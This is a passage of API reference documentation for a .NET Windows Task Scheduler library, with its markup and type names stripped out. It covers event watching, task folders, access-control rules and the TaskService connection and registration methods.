the collection. + + if set to true reverse. + + A that can be used to iterate through the collection. + + + + + Returns an enumerator that iterates through a collection. + + + An object that can be used to iterate through the collection. + + + + + Information about the task event. + + + + + If possible, gets the task associated with this event. + + + The task or null if unable to retrieve. + + + + + Gets the . + + + The TaskEvent. + + + + + Gets the task name. + + + The task name. + + + + + Gets the task path. + + + The task path. + + + + + Watches system events related to tasks and issues a event when the filtered conditions are met. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + Sometimes, a developer will need to know about events as they occur. In this case, they can use the TaskEventWatcher component that enables the developer to watch a task, a folder, or the entire system for filtered events. + + Below is information on how to watch a folder for all task events. For a complete example, look at this sample project: TestTaskWatcher.zip + + + + + Initializes a new instance of the class. If other + properties are not set, this will watch for all events for all tasks on the local machine. + + + + + Initializes a new instance of the class watching only + those events for the task with the provided path on the local machine. + + The full path (folders and name) of the task to watch. + The task service. + $Invalid task name: {taskPath} + + + + Initializes a new instance of the class watching only + those events for the specified task. + + The task to watch. + Occurs if the is null. + + + + Initializes a new instance of the class watching only those events for + the tasks whose name matches the in the specified + and optionally all subfolders. + + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + Occurs if the is null. + + + + Initializes a new instance of the class. + + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + The task service. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task path. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task path. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user as a secure string. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user. + + + + Occurs when a task or the task engine records an event. + + + + + Gets or sets a value indicating whether the component is enabled. + + + true if enabled; otherwise, false. + + + + + Gets the filter for this . + + + The filter. + + + + + Gets or sets the folder to watch. + + + The folder path to watch. This value should include the leading "\" to indicate the root folder. + + Thrown if the folder specified does not exist or contains invalid characters. + + + + Gets or sets a value indicating whether to include events from subfolders when the + property is set. If the property is set, + this property is ignored. + + true if include events from subfolders; otherwise, false. + + + + Gets or sets the synchronizing object. + + + The synchronizing object. + + + + + Gets or sets the name of the computer that is running the Task Scheduler service that the user is connected to. + + + + + Gets or sets the instance associated with this event watcher. Setting this value + will override any values set for , , + , and and set them to those values in the supplied + instance. + + The TaskService. + + + + Gets or sets the user account domain to be used when connecting to the . + + The user account domain. + + + + Gets or sets the user name to be used when connecting to the . + + The user name. + + + + Gets or sets the user password to be used when connecting to the . + + The user password. + + + + Gets a value indicating if watching is available. + + + + + Signals the object that initialization is starting. + + + + + Signals the object that initialization is complete. + + + + + Releases the unmanaged resources used by the FileSystemWatcher and optionally releases the managed resources. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + + Fires the event. + + The sender. + The instance containing the event data. + + + + Holds filter information for a . + + + + + Gets or sets an optional array of event identifiers to use when filtering those events that will fire a event. + + + The array of event identifier filters. All know task event identifiers are declared in the enumeration. + + + + + Gets or sets an optional array of event levels to use when filtering those events that will fire a event. + + + The array of event levels. While event providers can define custom levels, most will use integers defined in the System.Diagnostics.Eventing.Reader.StandardEventLevel enumeration. + + + + + Gets or sets the task name, which can utilize wildcards, to look for when watching a folder. + + A task name or wildcard. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Provides the methods that are used to register (create) tasks in the folder, remove tasks from the folder, and create or remove subfolders from the folder. + + + + + Releases all resources used by this class. + + + + + Gets a which enumerates all the tasks in this and all subfolders. + + + A for all instances. + + + + + Gets the name that is used to identify the folder that contains a task. + + + + + Gets the parent folder of this folder. + + + The parent folder, or null if this folder is the root folder. + + + + + Gets the path to where the folder is stored. + + + + + Gets or sets the security descriptor of the task. + + The security descriptor. + + + + Gets all the subfolders in the folder. + + + + + Gets a collection of all the tasks in the folder. + + + + + Gets or sets the that manages this task. + + The task service. + + + + Compares the current object with another object of the same type. + + An object to compare with this object. + + A value that indicates the relative order of the objects being compared. The return value has the following meanings: Value Meaning Less than zero This object is less than the parameter.Zero This object is equal to . Greater than zero This object is greater than . + + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The security descriptor associated with the folder. + A instance that represents the new subfolder. + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The task security associated with the folder. + A instance that represents the new subfolder. + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The security descriptor associated with the folder. + Set this value to false to avoid having an exception called if the folder already exists. + A instance that represents the new subfolder. + Security descriptor mismatch between specified credentials and credentials on existing folder by same name. + Invalid SDDL form. + Not supported under Task Scheduler 1.0. + + + + Deletes a subfolder from the parent folder. Not available to Task Scheduler 1.0. + + The name of the subfolder to be removed. The root task folder is specified with a backslash (\). This parameter can be a relative path to the folder you want to delete. An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + Set this value to false to avoid having an exception called if the folder does not exist. + Not supported under Task Scheduler 1.0. + + + Deletes a task from the folder. + + The name of the task that is specified when the task was registered. The '.' character cannot be used to specify the current task folder and the '..' + characters cannot be used to specify the parent task folder in the path. + + Set this value to false to avoid having an exception called if the task does not exist. + + + Returns an enumerable collection of folders that matches a specified filter and recursion option. + An optional predicate used to filter the returned instances. + Specifies whether the enumeration should include all subfolders. + + An enumerable collection of folders that matches . + If a filter is supplied and filters out a folder, none of its subfolders will be processed, regardless of them + matching the filter. + + + + Returns an enumerable collection of tasks that matches a specified filter and recursion option. + An optional predicate used to filter the returned instances. + Specifies whether the enumeration should include tasks in any subfolders. + An enumerable collection of directories that matches and . + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task described by the + current object. + + A object that encapsulates the access control rules for the current folder. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task folder described by + the current object. + + + One of the values that specifies which group of access control entries to retrieve. + + A object that encapsulates the access control rules for the current folder. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Gets the security descriptor for the folder. Not available to Task Scheduler 1.0. + Section(s) of the security descriptor to return. + The security descriptor for the folder. + + + + Gets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + Section(s) of the security descriptor to return. + The security descriptor for the folder. + Not supported under Task Scheduler 1.0. + + + + Gets a collection of all the tasks in the folder whose name matches the optional . + + The optional name filter expression. + Collection of all matching tasks. + + + Imports a from an XML file. + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The file containing the XML-formatted definition of the task. + If set to , overwrites any existing task with the same name. + A instance that represents the new task. + Importing from an XML file is only supported under Task Scheduler 2.0. + + + + Registers (creates) a new task in the folder using XML to define the task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + An XML-formatted definition of the task. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task. + A instance that represents the new task. + " + + "" + + " " + + " " + + " S-1-5-18" + + " " + + " " + + " " + + " " + + " 2017-09-04T14:04:03" + + " " + + " " + + " " + + " " + + " " + + " cmd" + + " " + + " " + + ""; + // Register the task in the root folder of the local machine using the SYSTEM account defined in XML + TaskService.Instance.RootFolder.RegisterTaskDefinition("Test", xml); + ]]> + + + + Registers (creates) a task in a specified location using a instance to define a task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The of the registered task. + A instance that represents the new task. + + + + + + Registers (creates) a task in a specified location using a instance to define a task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The of the registered task. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task. + + A instance that represents the new task. This will return null if is set to ValidateOnly and there are no validation errors. + + + Task names may not include any characters which are invalid for file names. + or + Task names ending with a period followed by three or fewer characters cannot be retrieved due to a bug in the native library. + + This LogonType is not supported on Task Scheduler 1.0. + or + Security settings are not available on Task Scheduler 1.0. + or + Registration triggers are not available on Task Scheduler 1.0. + or + XML validation not available on Task Scheduler 1.0. + This method is effectively the "Save" method for tasks. It takes a modified TaskDefinition instance and registers it in the folder defined by this TaskFolder instance. Optionally, you can use this method to override the user, password and logon type defined in the definition and supply security against the task. + + This first example registers a simple task with a single trigger and action using the default security. + + This example registers that same task using the SYSTEM account. + + This example registers that same task using a specific username and password along with a security definition. + + + + + Applies access control list (ACL) entries described by a object to the file described by the current object. + + A object that describes an access control list (ACL) entry to apply to the current folder. + + + + Sets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + The security descriptor for the folder. + Section(s) of the security descriptor to set. + + + + Sets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + The security descriptor for the folder. + Flags that specify how to set the security descriptor. + Not supported under Task Scheduler 1.0. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + Enumerates the tasks in the specified folder and its child folders. + The folder in which to start enumeration. + An optional filter to apply to the task list. + true if subfolders are to be queried recursively. + A that can be used to iterate through the tasks. + + + Finds the task in folder. + The folder. + The filter to use when looking for tasks. + The results. + if set to true recurse folders. + True if any tasks are found, False if not. + + + Provides information and control for a collection of folders that contain tasks. + + + Occurs when a collection changes. + + + Occurs when a property value changes. + + + Gets the number of items in the collection. + + + Gets a value indicating whether the is read-only. + + + Gets the specified folder from the collection. + The index of the folder to be retrieved. + A TaskFolder instance that represents the requested folder. + + + Gets the specified folder from the collection. + The path of the folder to be retrieved. + A TaskFolder instance that represents the requested folder. + + + Adds an item to the . + The object to add to the . + + This action is technically unfeasible due to limitations of the underlying library. Use the instead. + + + + Removes all items from the . + + + Determines whether the contains a specific value. + The object to locate in the . + true if is found in the ; otherwise, false. + + + Copies the elements of the ICollection to an Array, starting at a particular Array index. + + The one-dimensional Array that is the destination of the elements copied from . The Array must have + zero-based indexing. + + The zero-based index in array at which copying begins. + + + Releases all resources used by this class. + + + Determines whether the specified folder exists. + The path of the folder. + true if folder exists; otherwise, false. + + + Gets a list of items in a collection. + Enumerated list of items in the collection. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method + also returns false if is not found in the original . + + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Defines the methods that are called by the Task Scheduler service to manage a COM handler. + + + This interface must be implemented for a task to perform a COM handler action. When the Task Scheduler performs a COM handler action, it creates and activates the handler and calls the methods of this interface as needed. For information on specifying a COM handler action, see the class. + + + + + Called to start the COM handler. This method must be implemented by the handler. + + An IUnkown interface that is used to communicate back with the Task Scheduler. + The arguments that are required by the handler. These arguments are defined in the property of the COM handler action. + + + + Called to stop the COM handler. This method must be implemented by the handler. + + The return code that the Task Schedule will raise as an event when the COM handler action is completed. + + + + Called to pause the COM handler. This method is optional and should only be implemented to give the Task Scheduler the ability to pause and restart the handler. + + + + + Called to resume the COM handler. This method is optional and should only be implemented to give the Task Scheduler the ability to resume the handler. + + + + + Provides the methods that are used by COM handlers to notify the Task Scheduler about the status of the handler. + + + + + Tells the Task Scheduler about the percentage of completion of the COM handler. + + A value that indicates the percentage of completion for the COM handler. + The message that is displayed in the Task Scheduler UI. + + + + Tells the Task Scheduler that the COM handler is completed. + + The error code that the Task Scheduler will raise as an event. + + + + Specifies the access control rights that can be applied to Task Scheduler tasks. + + + + Specifies the right to exert full control over a task folder or task, and to modify access control and audit rules. This value represents the right to do anything with a task and is the combination of all rights in this enumeration. + + + Specifies the right to create tasks and folders, and to add or remove data from tasks. This right includes the following rights: . + + + Specifies the right to open and copy folders or tasks as read-only. This right includes the following rights: . + + + Specifies the right run tasks. This right includes the following rights: . + + + The right to wait on a task. + + + The right to change the owner of a task. + + + Specifies the right to change the security and audit rules associated with a task or folder. + + + The right to open and copy the access rules and audit rules for a task. + + + The right to delete a folder or task. + + + Specifies the right to open and write file system attributes to a folder or file. This does not include the ability to write data, extended attributes, or access and audit rules. + + + Specifies the right to open and copy file system attributes from a folder or task. For example, this value specifies the right to view the file creation or modified date. This does not include the right to read data, extended file system attributes, or access and audit rules. + + + Specifies the right to delete a folder and any tasks contained within that folder. + + + Specifies the right to run a task. + + + Specifies the right to open and write extended file system attributes to a folder or file. This does not include the ability to write data, attributes, or access and audit rules. + + + Specifies the right to open and copy extended system attributes from a folder or task. For example, this value specifies the right to view author and content information. This does not include the right to read data, system attributes, or access and audit rules. + + + Specifies the right to append data to the end of a file. + + + Specifies the right to open and write to a file or folder. This does not include the right to open and write file system attributes, extended file system attributes, or access and audit rules. + + + Specifies the right to open and copy a task or folder. This does not include the right to read file system attributes, extended file system attributes, or access and audit rules. + + + + Represents a set of access rights allowed or denied for a user or group. This class cannot be inherited. + + + + + Initializes a new instance of the class, specifying the user or group the rule applies to, the access rights, and whether the specified access rights are allowed or denied. + + The user or group the rule applies to. Must be of type or a type such as that can be converted to type . + A bitwise combination of values specifying the rights allowed or denied. + One of the values specifying whether the rights are allowed or denied. + + + + Initializes a new instance of the class, specifying the name of the user or group the rule applies to, the access rights, and whether the specified access rights are allowed or denied. + + The name of the user or group the rule applies to. + A bitwise combination of values specifying the rights allowed or denied. + One of the values specifying whether the rights are allowed or denied. + + + + Gets the rights allowed or denied by the access rule. + + + A bitwise combination of values indicating the rights allowed or denied by the access rule. + + + + + Represents a set of access rights to be audited for a user or group. This class cannot be inherited. + + + + + Initializes a new instance of the class, specifying the user or group to audit, the rights to audit, and whether to audit success, failure, or both. + + The user or group the rule applies to. Must be of type or a type such as that can be converted to type . + A bitwise combination of values specifying the kinds of access to audit. + The audit flags. + + + + Gets the access rights affected by the audit rule. + + + A bitwise combination of values that indicates the rights affected by the audit rule. + + objects are immutable. You can create a new audit rule representing a different user, different rights, or a different combination of AuditFlags values, but you cannot modify an existing audit rule. + + + + Represents the Windows access control security for a Task Scheduler task. This class cannot be inherited. + + + A TaskSecurity object specifies access rights for a Task Scheduler task, and also specifies how access attempts are audited. Access rights to the task are expressed as rules, with each access rule represented by a object. Each auditing rule is represented by a object. + This mirrors the underlying Windows security system, in which each securable object has at most one discretionary access control list (DACL) that controls access to the secured object, and at most one system access control list (SACL) that specifies which access attempts are audited. The DACL and SACL are ordered lists of access control entries (ACE) that specify access and auditing for users and groups. A or object might represent more than one ACE. + Note + A object can represent a local task or a Task Scheduler task. Windows access control security is meaningful only for Task Scheduler tasks. + The TaskSecurity, , and classes hide the implementation details of ACLs and ACEs. They allow you to ignore the seventeen different ACE types and the complexity of correctly maintaining inheritance and propagation of access rights. These objects are also designed to prevent the following common access control errors: + + Creating a security descriptor with a null DACL. A null reference to a DACL allows any user to add access rules to an object, potentially creating a denial-of-service attack. A new TaskSecurity object always starts with an empty DACL, which denies all access for all users. + Violating the canonical ordering of ACEs. If the ACE list in the DACL is not kept in the canonical order, users might inadvertently be given access to the secured object. For example, denied access rights must always appear before allowed access rights. TaskSecurity objects maintain the correct order internally. + Manipulating security descriptor flags, which should be under resource manager control only. + Creating invalid combinations of ACE flags. + Manipulating inherited ACEs. Inheritance and propagation are handled by the resource manager, in response to changes you make to access and audit rules. + Inserting meaningless ACEs into ACLs. + + The only capabilities not supported by the .NET security objects are dangerous activities that should be avoided by the majority of application developers, such as the following: + + Low-level tasks that are normally performed by the resource manager. + Adding or removing access control entries in ways that do not maintain the canonical ordering. + + To modify Windows access control security for a task, use the method to get the TaskSecurity object. Modify the security object by adding and removing rules, and then use the method to reattach it. + Important: Changes you make to a TaskSecurity object do not affect the access levels of the task until you call the method to assign the altered security object to the task. + To copy access control security from one task to another, use the method to get a TaskSecurity object representing the access and audit rules for the first task, then use the method, or a constructor that accepts a TaskSecurity object, to assign those rules to the second task. + Users with an investment in the security descriptor definition language (SDDL) can use the method to set access rules for a task, and the method to obtain a string that represents the access rules in SDDL format. This is not recommended for new development. + + + + + Initializes a new instance of the class with default values. + + + + + Initializes a new instance of the class with the specified sections of the access control security rules from the specified task. + + The task. + The sections of the ACL to retrieve. + + + + Initializes a new instance of the class with the specified sections of the access control security rules from the specified task. + + The folder. + The sections of the ACL to retrieve. + + + + Gets the enumeration that the class uses to represent access rights. + + A object representing the enumeration. + + + + Gets the type that the TaskSecurity class uses to represent access rules. + + A object representing the class. + + + + Gets the type that the TaskSecurity class uses to represent audit rules. + + A object representing the class. + + + + Gets a object that represent the default access rights. + + The default task security. + + + + Creates a new access control rule for the specified user, with the specified access rights, access control, and flags. + + An that identifies the user or group the rule applies to. + A bitwise combination of values specifying the access rights to allow or deny, cast to an integer. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + One of the values specifying whether the rights are allowed or denied. + + The object that this method creates. + + + + + Searches for a matching rule with which the new rule can be merged. If none are found, adds the new rule. + + The access control rule to add. + + + + Searches for an audit rule with which the new rule can be merged. If none are found, adds the new rule. + + The audit rule to add. The user specified by this rule determines the search. + + + + Creates a new audit rule, specifying the user the rule applies to, the access rights to audit, and the outcome that triggers the audit rule. + + An that identifies the user or group the rule applies to. + A bitwise combination of values specifying the access rights to audit, cast to an integer. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + One of the values specifying whether to audit successful access, failed access, or both. + + A object representing the specified audit rule for the specified user. The return type of the method is the base class, , but the return value can be cast safely to the derived class. + + + + + Searches for an access control rule with the same user and (allow or deny) as the specified rule, and with compatible inheritance and propagation flags; if such a rule is found, the rights contained in the specified access rule are removed from it. + + A that specifies the user and to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Specifies the rights to remove from the compatible rule, if found. + true if a compatible rule is found; otherwise false. + + + + Searches for all access control rules with the same user and (allow or deny) as the specified rule and, if found, removes them. + + A that specifies the user and to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Any rights specified by this rule are ignored. + + + + Searches for an access control rule that exactly matches the specified rule and, if found, removes it. + + The to remove. + + + + Searches for an audit control rule with the same user as the specified rule, and with compatible inheritance and propagation flags; if a compatible rule is found, the rights contained in the specified rule are removed from it. + + A that specifies the user to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Specifies the rights to remove from the compatible rule, if found. + true if a compatible rule is found; otherwise false. + + + + Searches for all audit rules with the same user as the specified rule and, if found, removes them. + + A that specifies the user to search for. Any rights specified by this rule are ignored. + + + + Searches for an audit rule that exactly matches the specified rule and, if found, removes it. + + The to remove. + + + + Removes all access control rules with the same user as the specified rule, regardless of , and then adds the specified rule. + + The to add. The user specified by this rule determines the rules to remove before this rule is added. + + + + Removes all access control rules with the same user and (allow or deny) as the specified rule, and then adds the specified rule. + + The to add. The user and of this rule determine the rules to remove before this rule is added. + + + + Removes all audit rules with the same user as the specified rule, regardless of the value, and then adds the specified rule. + + The to add. The user specified by this rule determines the rules to remove before this rule is added. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. + + The task used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. + + The task folder used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. For more information, see Remarks. + + The name used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Quick simple trigger types for the + method. + + + + At boot. + + + On system idle. + + + At logon of any user. + + + When the task is registered. + + + Hourly, starting now. + + + Daily, starting now. + + + Weekly, starting now. + + + Monthly, starting now. + + + + Known versions of the native Task Scheduler library. This can be used as a decoder for the + and values. + + + + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016 post build 1703). + + + Provides access to the Task Scheduler service for managing registered tasks. + + + Creates a new instance of a TaskService connecting to the local machine as the current user. + + + Initializes a new instance of the class. + + The name of the computer that you want to connect to. If the this parameter is empty, then this will connect to the local computer. + + + The user name that is used during the connection to the computer. If the user is not specified, then the current token is used. + + The domain of the user specified in the parameter. + + The password that is used to connect to the computer. If the user name and password are not specified, then the current token is used. + + If set to true force Task Scheduler 1.0 compatibility. + + + Initializes a new instance of the class. + + The name of the computer that you want to connect to. If the this parameter is empty, then this will connect to the local computer. + + + The user name that is used during the connection to the computer. If the user is not specified, then the current token is used. + + The domain of the user specified in the parameter. + + The password that is used to connect to the computer as a SecureString. If the user name and securePassword are not specified, then the current token is used. + + If set to true force Task Scheduler 1.0 compatibility. + + + Delegate for methods that support update calls during COM handler execution. + The percentage of completion (0 to 100). + An optional message. + + + Occurs when the Task Scheduler is connected to the local or remote target. + + + Occurs when the Task Scheduler is disconnected from the local or remote target. + + + Gets a local instance of the using the current user's credentials. + Local user instance. + + + + Gets the library version. This is the highest version supported by the local library. Tasks cannot be created using any + compatibility level higher than this version. + + The library version. + + The following table list the various versions and their host operating system: + + + Version + Operating System + + + 1.1 + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + 1.2 + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + 1.3 + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + 1.4 + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + 1.5 + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + 1.6 + Task Scheduler 2.4 (Windows® 10 Version 1703, Windows Server™ 2016 Version 1703). + + + + + + + Gets or sets a value indicating whether to allow tasks from later OS versions with new properties to be retrieved as read only tasks. + + true if allow read only tasks; otherwise, false. + + + Gets the name of the domain to which the computer is connected. + + + Gets the name of the user that is connected to the Task Scheduler service. + + + Gets the highest version of Task Scheduler that a computer supports. + + The following table list the various versions and their host operating system: + + + Version + Operating System + + + 1.1 + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + 1.2 + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + 1.3 + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + 1.4 + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + 1.5 + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + 1.6 + Task Scheduler 2.4 (Windows® 10 Version 1703, Windows Server™ 2016 Version 1703). + + + + + + Gets the root ("\") folder. For Task Scheduler 1.0, this is the only folder. + + + Gets or sets the name of the computer that is running the Task Scheduler service that the user is connected to. + + + Gets or sets the user account domain to be used when connecting to the . + The user account domain. + + + Gets or sets the user name to be used when connecting to the . + The user name. + + + Gets or sets the user password to be used when connecting to the . + The user password. + + + Gets the user password in plain text from either userPassword or userSecurePassword. + + + Gets a which enumerates all the tasks in all folders. + A for all instances. + + + Gets a Boolean value that indicates if you are connected to the Task Scheduler service. + + + + Gets the connection token for this instance. This token is thread safe and can be used to create new + instances on other threads using the static method. + + The connection token. + + + Gets a value indicating whether the component can raise an event. + + + + Creates a new instance from a token. Given that a TaskService instance is thread specific, this is the + preferred method for multi-thread creation or asynchronous method parameters. + + The token. + A instance valid for the thread calling this method. + + + Gets a formatted string that tells the Task Scheduler to retrieve a string from a resource .dll file. + The path to the .dll file that contains the resource. + The identifier for the resource text (typically a negative number). + A string in the format of $(@ [dllPath], [resourceId]). + + For example, the setting this property value to $(@ %SystemRoot%\System32\ResourceName.dll, -101) will set the property to the + value of the resource text with an identifier equal to -101 in the %SystemRoot%\System32\ResourceName.dll file. + + + + + Runs an action that is defined via a COM handler. COM CLSID must be registered to an object that implements the + interface. + + The CLSID of the COM object. + An optional string passed to the COM object at startup. + The number of milliseconds to wait or -1 for indefinitely. + + An optional delegate that is called when the COM object calls the + method. + + The value set by the COM object via a call to the method. + + + + Runs an action that is defined via a COM handler. COM CLSID must be registered to an object that implements the + interface. + + The CLSID of the COM object. + The action to run on thread completion. + An optional string passed to the COM object at startup. + The number of milliseconds to wait or -1 for indefinitely. + + An optional delegate that is called when the COM object calls the + method. + + + + Adds or updates an Automatic Maintenance Task on the connected machine. + Name of the task with full path. + The amount of time the task needs once executed during regular Automatic maintenance. + + The amount of time after which the Task Scheduler attempts to run the task during emergency Automatic maintenance, if the task + failed to complete during regular Automatic Maintenance. + + The path to an executable file. + The arguments associated with the command-line operation. + + The directory that contains either the executable file or the files that are used by the executable file. + + A instance of the Automatic Maintenance Task. + + Automatic Maintenance tasks are only supported on Windows 8/Server 2012 and later. + + + + Creates a new task, registers the task, and returns the instance. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value + that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot + be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + The to determine when to run the task. + The to determine what happens when the task is triggered. + The user credentials used to register the task. + The password for the userId used to register the task. + + A value that defines what logon technique is used to run the registered task. + + The task description. + A instance of the registered task. + + This method is shorthand for creating a new TaskDescription, adding a trigger and action, and then registering it in the root folder. + + + + + + + + + Creates a new task, registers the task, and returns the instance. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value + that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot + be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + The to determine when to run the task. + The executable path. + The arguments (optional). Value can be NULL. + The user credentials used to register the task. + The password for the userId used to register the task. + + A value that defines what logon technique is used to run the registered task. + + The task description. + A instance of the registered task. + + + + + + + + Signals the object that initialization is starting. + + + Signals the object that initialization is complete. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Finds all tasks matching a name or standard wildcards. + Name of the task in regular expression form. + if set to true search all sub folders. + An array of containing all tasks matching . + + + Finds all tasks matching a name or standard wildcards. + The filter used to determine tasks to select. + if set to true search all sub folders. + An array of containing all tasks matching . + TaskService.Instance.FindAllTasks(t => t.Triggers.ContainsType(typeof(LogonTrigger)), true); + + + Finds a task given a name and standard wildcards. + The task name. This can include the wildcards * or ?. + if set to true search all sub folders. + A if one matches , otherwise NULL. + + + Gets the event log for this instance. + (Optional) The task path if only the events for a single task are desired. + A instance. + + + Gets the path to a folder of registered tasks. + + The path to the folder to retrieve. Do not use a backslash following the last folder name in the path. The root task folder is + specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character + cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + instance for the requested folder or null if was unrecognized. + + Folder other than the root (\) was requested on a system not supporting Task Scheduler 2.0. + + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Gets a collection of running tasks. + True to include hidden tasks. + instance with the list of running tasks. + + + Gets the task with the specified path. + The task path. + + The instance matching the , if found. If not found, this method returns null. + + + + + Returns an empty task definition object to be filled in with settings and properties and then registered using the + method. + + A instance for setting properties. + + + Returns a populated with the properties defined in an XML file. + The XML file to use as input. + A instance. + Importing from an XML file is only supported under Task Scheduler 2.0. + + + Sets the user password as a secure string to be used when connecting to the . + A secure string containing the user password to set. + + + Starts the Task Scheduler UI for the OS hosting the assembly if the session is running in interactive mode. + + + 